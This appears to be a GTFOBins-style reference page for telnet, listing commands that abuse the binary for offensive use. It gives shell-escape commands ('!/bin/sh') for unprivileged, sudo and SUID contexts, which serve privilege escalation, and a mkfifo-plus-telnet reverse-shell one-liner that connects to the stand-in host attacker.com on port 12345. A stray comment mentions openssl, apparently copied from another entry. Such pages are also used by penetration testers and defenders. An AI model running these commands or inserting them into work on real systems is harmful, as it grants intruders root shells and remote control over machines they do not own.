telnet

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
telnet
!/bin/sh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
telnet
!/bin/sh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
RemarksThis executable runs commands using the system shell, e.g., via functions like system, so it only works for distributions where the shell does not drop SUID privileges.
```
telnet
!/bin/sh
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

CommentThe shell process is not spawn by openssl.
Unprivileged
This function can be performed by any unprivileged user.
```
mkfifo /path/to/temp-socket
telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
mkfifo /path/to/temp-socket
telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
mkfifo /path/to/temp-socket
telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socket
```